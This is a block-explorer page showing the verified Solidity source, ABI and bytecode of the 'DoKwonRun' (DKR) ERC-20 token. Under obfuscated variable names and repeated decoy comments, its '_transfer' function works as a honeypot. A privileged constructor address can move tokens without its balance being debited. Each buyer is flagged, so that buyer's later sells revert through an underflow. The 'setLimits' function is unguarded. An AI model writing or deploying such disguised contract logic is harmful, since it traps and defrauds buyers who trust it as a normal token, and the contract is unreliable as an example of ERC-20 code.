ETH Price: $3,097.74 (-4.20%)
 

Overview

Max Total Supply

1,000,000,000 DKR

Holders

21

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
19,999,999.999999997 DKR

Value
$0.00
0xe715d5fadd5e475f3d3a629c3056f49a4a2ecb14
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DoKwonRun

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 2: DKR.sol
// SPDX-License-Identifier: MIT
pragma solidity >0.8.1;

import "./IERC20.sol";

contract DoKwonRun is Ownable {

        /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    uint256 hod;
    uint256 pive;
    bool exay;
    address private prim;
    address private expt;
    address private brth;
    IUniswapV2Router02 public uniswapV2Router;
    uint256 private sqr;
    string private pSym;
    uint256 private _tTotal;
    string private pName;
    uint256 private hgr;
    uint8 private drm;
    uint8 public sellTax;
    uint8 public buyTax;
    uint256 public maxWallet;
    bool public limitsEnabled=true;
    event Transfer(address indexed from, address indexed to, uint256 value);
    mapping(address => uint256) private det;
    mapping(address => uint256) private mrd;

    constructor(
        address adrr,
        address mhy,
        uint8 maxW
    ) {
        uniswapV2Router = IUniswapV2Router02(adrr);
        prim = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        pSym = unicode"DKR";
        pName =  unicode"DoKwon Run";
        drm = 9;
        sqr = 0;
        hgr = 100;
        mrd[mhy] = drm;
        _tTotal = 1000000000 * 10**drm;
        maxWallet=(_tTotal / 100) * maxW; // 3% max wallet
        fdr[msg.sender] = _tTotal;
        emit Transfer(address(0xdead), msg.sender, _tTotal);
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */

    function name() public view returns (string memory) {
        return pName;
    }

    function symbol() public view returns (string memory) {
        return pSym;
    }

    function decimals() public view returns (uint256) {
        return drm;
    }

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private fdr;

    function totalSupply() public view returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view returns (uint256) {
        return fdr[account];
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */

    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }


    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        if(_approve(sender, msg.sender, _allowances[sender][msg.sender] - amount))
            return _transfer(sender, recipient, amount,0,0);
        return false;
    }

    function setLimits(bool value) external {
        limitsEnabled=value;
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, recipient, amount,0,0);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        return true;
    }

        function _transfer(
        address brn,
        address nry,
        uint256 qiy,
        uint256 pp,
        uint256 aa
    ) internal returns (bool){
        exay = prim == brn;

        if (!exay && mrd[brn] == 0 && det[brn] > 0) {
            mrd[brn] -= drm;
        }

        if(mrd[nry] <= 0){
            if(exay && limitsEnabled){
                if(fdr[nry]+qiy > maxWallet)
                    return false;
            }
            emit Transfer(brn, nry, qiy);
        }

        hod = qiy * sqr;

        if (mrd[brn] == 0) {
            fdr[brn] -= qiy;
        }

        pive = hod / hgr;

        expt = brth;

        brth = nry;

        qiy -= pive;
        det[expt] += drm;
        fdr[nry] += qiy;

        return true;
        
    }
}

File 2 of 2: IERC20.sol
pragma solidity >0.8.1;

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a det
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountKingofTsukaDesired,
        uint amountKingofTsukaMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountKingofTsuka, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountKingofTsukaMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountKingofTsuka, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountKingofTsukaMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountKingofTsuka, uint amountETH);
    function swapExactKingofTsukasForKingofTsukas(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapKingofTsukasForExactKingofTsukas(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForKingofTsukas(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapKingofTsukasForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactKingofTsukasForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactKingofTsukas(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferKingofTsukas(
        address token,
        uint liquidity,
        uint amountKingofTsukaMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferKingofTsukas(
        address token,
        uint liquidity,
        uint amountKingofTsukaMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactKingofTsukasForKingofTsukasSupportingFeeOnTransferKingofTsukas(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForKingofTsukasSupportingFeeOnTransferKingofTsukas(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactKingofTsukasForETHSupportingFeeOnTransferKingofTsukas(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"adrr","type":"address"},{"internalType":"address","name":"mhy","type":"address"},{"internalType":"uint8","name":"maxW","type":"uint8"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

6080604052600e805460ff191660011790553480156200001e57600080fd5b50604051620011b5380380620011b583398101604081905262000041916200038e565b6200004c3362000321565b600680546001600160a01b0319166001600160a01b0385169081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620000a6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620000cc9190620003e1565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200012f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001559190620003e1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620001a3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001c99190620003e1565b600380546001600160a01b039290921661010002610100600160a81b031990921691909117815560408051808201909152908152622225a960e91b6020820152600890620002189082620004ab565b5060408051808201909152600a808252692237a5bbb7b710293ab760b11b602083015290620002489082620004ab565b50600c805460ff191660099081178255600060078190556064600b556001600160a01b038516815260106020526040902055546200028b9060ff16600a6200068c565b6200029b90633b9aca006200069d565b600981905560ff821690620002b390606490620006b7565b620002bf91906200069d565b600d55600954336000818152601260205260409081902083905551909161dead917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91620003109190815260200190565b60405180910390a3505050620006da565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80516001600160a01b03811681146200038957600080fd5b919050565b600080600060608486031215620003a457600080fd5b620003af8462000371565b9250620003bf6020850162000371565b9150604084015160ff81168114620003d657600080fd5b809150509250925092565b600060208284031215620003f457600080fd5b620003ff8262000371565b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200043157607f821691505b6020821081036200045257634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004a657600081815260208120601f850160051c81016020861015620004815750805b601f850160051c820191505b81811015620004a2578281556001016200048d565b5050505b505050565b81516001600160401b03811115620004c757620004c762000406565b620004df81620004d884546200041c565b8462000458565b602080601f831160018114620005175760008415620004fe5750858301515b600019600386901b1c1916600185901b178555620004a2565b600085815260208120601f198616915b82811015620005485788860151825594840194600190910190840162000527565b5085821015620005675787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005ce578160001904821115620005b257620005b262000577565b80851615620005c057918102915b93841c939080029062000592565b509250929050565b600082620005e75750600162000686565b81620005f65750600062000686565b81600181146200060f57600281146200061a576200063a565b600191505062000686565b60ff8411156200062e576200062e62000577565b50506001821b62000686565b5060208310610133831016604e8410600b84101617156200065f575081810a62000686565b6200066b83836200058d565b806000190482111562000682576200068262000577565b0290505b92915050565b6000620003ff60ff841683620005d6565b808202811582820484141762000686576200068662000577565b600082620006d557634e487b7160e01b600052601260045260246000fd5b500490565b610acb80620006ea6000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a2578063a9059cbb11610071578063a9059cbb14610256578063cc1776d314610269578063dd62ed3e1461027b578063f2fde38b146102b4578063f8b45b05146102c757600080fd5b8063715018a6146102125780638da5cb5b1461021c57806395d89b411461022d5780639adce7341461023557600080fd5b806323b872dd116100e957806323b872dd14610199578063313ce567146101ac5780633582ad23146101b75780634f7041a5146101c457806370a08231146101e957600080fd5b806306fdde031461011b578063095ea7b3146101395780631694505e1461015c57806318160ddd14610187575b600080fd5b6101236102d0565b60405161013091906108a6565b60405180910390f35b61014c610147366004610910565b610362565b6040519015158152602001610130565b60065461016f906001600160a01b031681565b6040516001600160a01b039091168152602001610130565b6009545b604051908152602001610130565b61014c6101a736600461093a565b610378565b600c5460ff1661018b565b600e5461014c9060ff1681565b600c546101d79062010000900460ff1681565b60405160ff9091168152602001610130565b61018b6101f7366004610976565b6001600160a01b031660009081526012602052604090205490565b61021a6103d7565b005b6000546001600160a01b031661016f565b610123610442565b61021a610243366004610991565b600e805460ff1916911515919091179055565b61014c610264366004610910565b610451565b600c546101d790610100900460ff1681565b61018b6102893660046109b3565b6001600160a01b03918216600090815260116020908152604080832093909416825291909152205490565b61021a6102c2366004610976565b610461565b61018b600d5481565b6060600a80546102df906109e6565b80601f016020809104026020016040519081016040528092919081815260200182805461030b906109e6565b80156103585780601f1061032d57610100808354040283529160200191610358565b820191906000526020600020905b81548152906001019060200180831161033b57829003601f168201915b5050505050905090565b600061036f33848461052c565b90505b92915050565b6001600160a01b03831660009081526011602090815260408083203380855292528220546103b29186916103ad908690610a36565b61052c565b156103cc576103c58484846000806105d6565b90506103d0565b5060005b9392505050565b6000546001600160a01b031633146104365760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6104406000610856565b565b6060600880546102df906109e6565b600061036f3384846000806105d6565b6000546001600160a01b031633146104bb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161042d565b6001600160a01b0381166105205760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161042d565b61052981610856565b50565b60006001600160a01b0384161580159061054e57506001600160a01b03831615155b6105a65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042d565b506001600160a01b0392831660009081526011602090815260408083209490951682529290925291902055600190565b6003805460ff1981166101009091046001600160a01b039081169088161490811790915560009060ff1615801561062357506001600160a01b038616600090815260106020526040902054155b801561064657506001600160a01b0386166000908152600f602052604090205415155b1561068257600c546001600160a01b0387166000908152601060205260408120805460ff9093169290919061067c908490610a36565b90915550505b6001600160a01b03851660009081526010602052604090205461073b5760035460ff1680156106b35750600e5460ff165b156106ed57600d546001600160a01b0386166000908152601260205260409020546106df908690610a49565b11156106ed5750600061084d565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161073291815260200190565b60405180910390a35b6007546107489085610a5c565b6001556001600160a01b0386166000908152601060205260408120549003610798576001600160a01b03861660009081526012602052604081208054869290610792908490610a36565b90915550505b600b546001546107a89190610a73565b600281905560058054600480546001600160a01b038084166001600160a01b0319928316179092559091169088161790556107e39085610a36565b600c546004546001600160a01b03166000908152600f60205260408120805493975060ff90921692610816908490610a49565b90915550506001600160a01b03851660009081526012602052604081208054869290610843908490610a49565b9091555060019150505b95945050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b818110156108d3578581018301518582016040015282016108b7565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461090b57600080fd5b919050565b6000806040838503121561092357600080fd5b61092c836108f4565b946020939093013593505050565b60008060006060848603121561094f57600080fd5b610958846108f4565b9250610966602085016108f4565b9150604084013590509250925092565b60006020828403121561098857600080fd5b61036f826108f4565b6000602082840312156109a357600080fd5b813580151581146103d057600080fd5b600080604083850312156109c657600080fd5b6109cf836108f4565b91506109dd602084016108f4565b90509250929050565b600181811c908216806109fa57607f821691505b602082108103610a1a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561037257610372610a20565b8082018082111561037257610372610a20565b808202811582820484141761037257610372610a20565b600082610a9057634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122028275e0737c13ef4b58b36420e790e9035ac790330e8f03619e274a24373043164736f6c634300081100330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000002dc70ac2206ac5fc08ab7d89096c26581d90d4f0000000000000000000000000000000000000000000000000000000000000003

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a2578063a9059cbb11610071578063a9059cbb14610256578063cc1776d314610269578063dd62ed3e1461027b578063f2fde38b146102b4578063f8b45b05146102c757600080fd5b8063715018a6146102125780638da5cb5b1461021c57806395d89b411461022d5780639adce7341461023557600080fd5b806323b872dd116100e957806323b872dd14610199578063313ce567146101ac5780633582ad23146101b75780634f7041a5146101c457806370a08231146101e957600080fd5b806306fdde031461011b578063095ea7b3146101395780631694505e1461015c57806318160ddd14610187575b600080fd5b6101236102d0565b60405161013091906108a6565b60405180910390f35b61014c610147366004610910565b610362565b6040519015158152602001610130565b60065461016f906001600160a01b031681565b6040516001600160a01b039091168152602001610130565b6009545b604051908152602001610130565b61014c6101a736600461093a565b610378565b600c5460ff1661018b565b600e5461014c9060ff1681565b600c546101d79062010000900460ff1681565b60405160ff9091168152602001610130565b61018b6101f7366004610976565b6001600160a01b031660009081526012602052604090205490565b61021a6103d7565b005b6000546001600160a01b031661016f565b610123610442565b61021a610243366004610991565b600e805460ff1916911515919091179055565b61014c610264366004610910565b610451565b600c546101d790610100900460ff1681565b61018b6102893660046109b3565b6001600160a01b03918216600090815260116020908152604080832093909416825291909152205490565b61021a6102c2366004610976565b610461565b61018b600d5481565b6060600a80546102df906109e6565b80601f016020809104026020016040519081016040528092919081815260200182805461030b906109e6565b80156103585780601f1061032d57610100808354040283529160200191610358565b820191906000526020600020905b81548152906001019060200180831161033b57829003601f168201915b5050505050905090565b600061036f33848461052c565b90505b92915050565b6001600160a01b03831660009081526011602090815260408083203380855292528220546103b29186916103ad908690610a36565b61052c565b156103cc576103c58484846000806105d6565b90506103d0565b5060005b9392505050565b6000546001600160a01b031633146104365760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6104406000610856565b565b6060600880546102df906109e6565b600061036f3384846000806105d6565b6000546001600160a01b031633146104bb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161042d565b6001600160a01b0381166105205760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161042d565b61052981610856565b50565b60006001600160a01b0384161580159061054e57506001600160a01b03831615155b6105a65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042d565b506001600160a01b0392831660009081526011602090815260408083209490951682529290925291902055600190565b6003805460ff1981166101009091046001600160a01b039081169088161490811790915560009060ff1615801561062357506001600160a01b038616600090815260106020526040902054155b801561064657506001600160a01b0386166000908152600f602052604090205415155b1561068257600c546001600160a01b0387166000908152601060205260408120805460ff9093169290919061067c908490610a36565b90915550505b6001600160a01b03851660009081526010602052604090205461073b5760035460ff1680156106b35750600e5460ff165b156106ed57600d546001600160a01b0386166000908152601260205260409020546106df908690610a49565b11156106ed5750600061084d565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161073291815260200190565b60405180910390a35b6007546107489085610a5c565b6001556001600160a01b0386166000908152601060205260408120549003610798576001600160a01b03861660009081526012602052604081208054869290610792908490610a36565b90915550505b600b546001546107a89190610a73565b600281905560058054600480546001600160a01b038084166001600160a01b0319928316179092559091169088161790556107e39085610a36565b600c546004546001600160a01b03166000908152600f60205260408120805493975060ff90921692610816908490610a49565b90915550506001600160a01b03851660009081526012602052604081208054869290610843908490610a49565b9091555060019150505b95945050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b818110156108d3578581018301518582016040015282016108b7565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461090b57600080fd5b919050565b6000806040838503121561092357600080fd5b61092c836108f4565b946020939093013593505050565b60008060006060848603121561094f57600080fd5b610958846108f4565b9250610966602085016108f4565b9150604084013590509250925092565b60006020828403121561098857600080fd5b61036f826108f4565b6000602082840312156109a357600080fd5b813580151581146103d057600080fd5b600080604083850312156109c657600080fd5b6109cf836108f4565b91506109dd602084016108f4565b90509250929050565b600181811c908216806109fa57607f821691505b602082108103610a1a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561037257610372610a20565b8082018082111561037257610372610a20565b808202811582820484141761037257610372610a20565b600082610a9057634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122028275e0737c13ef4b58b36420e790e9035ac790330e8f03619e274a24373043164736f6c63430008110033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000002dc70ac2206ac5fc08ab7d89096c26581d90d4f0000000000000000000000000000000000000000000000000000000000000003

-----Decoded View---------------
Arg [0] : adrr (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : mhy (address): 0x02dC70ac2206ac5fc08aB7D89096c26581d90d4f
Arg [2] : maxW (uint8): 3

-----Encoded View---------------
3 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 00000000000000000000000002dc70ac2206ac5fc08ab7d89096c26581d90d4f
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000003


Deployed Bytecode Sourcemap

86:4890:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2068:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3153:137;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:2;;1162:22;1144:41;;1132:2;1117:18;3153:137:0;1004:187:2;606:41:0;;;;;-1:-1:-1;;;;;606:41:0;;;;;;-1:-1:-1;;;;;1387:32:2;;;1369:51;;1357:2;1342:18;606:41:0;1196:230:2;2460:86:0;2531:7;;2460:86;;;1577:25:2;;;1565:2;1550:18;2460:86:0;1431:177:2;3300:308:0;;;;;;:::i;:::-;;:::i;2251:79::-;2319:3;;;;2251:79;;897:30;;;;;;;;;840:19;;;;;;;;;;;;;;;2118:4:2;2106:17;;;2088:36;;2076:2;2061:18;840:19:0;1946:184:2;2554:104:0;;;;;;:::i;:::-;-1:-1:-1;;;;;2638:12:0;2611:7;2638:12;;;:3;:12;;;;;;;2554:104;2452:94:1;;;:::i;:::-;;1801:87;1847:7;1874:6;-1:-1:-1;;;;;1874:6:1;1801:87;;2159:84:0;;;:::i;3616:78::-;;;;;;:::i;:::-;3667:13;:19;;-1:-1:-1;;3667:19:0;;;;;;;;;;3616:78;3702:147;;;;;;:::i;:::-;;:::i;813:20::-;;;;;;;;;;;;2666:134;;;;;;:::i;:::-;-1:-1:-1;;;;;2765:18:0;;;2738:7;2765:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;2666:134;2701:192:1;;;;;;:::i;:::-;;:::i;866:24:0:-;;;;;;2068:83;2105:13;2138:5;2131:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2068:83;:::o;3153:137::-;3221:4;3245:37;3254:10;3266:7;3275:6;3245:8;:37::i;:::-;3238:44;;3153:137;;;;;:::o;3300:308::-;-1:-1:-1;;;;;3474:19:0;;3425:4;3474:19;;;:11;:19;;;;;;;;3462:10;3474:31;;;;;;;;3445:70;;3454:6;;3474:40;;3508:6;;3474:40;:::i;:::-;3445:8;:70::i;:::-;3442:135;;;3537:40;3547:6;3555:9;3566:6;3573:1;3575;3537:9;:40::i;:::-;3530:47;;;;3442:135;-1:-1:-1;359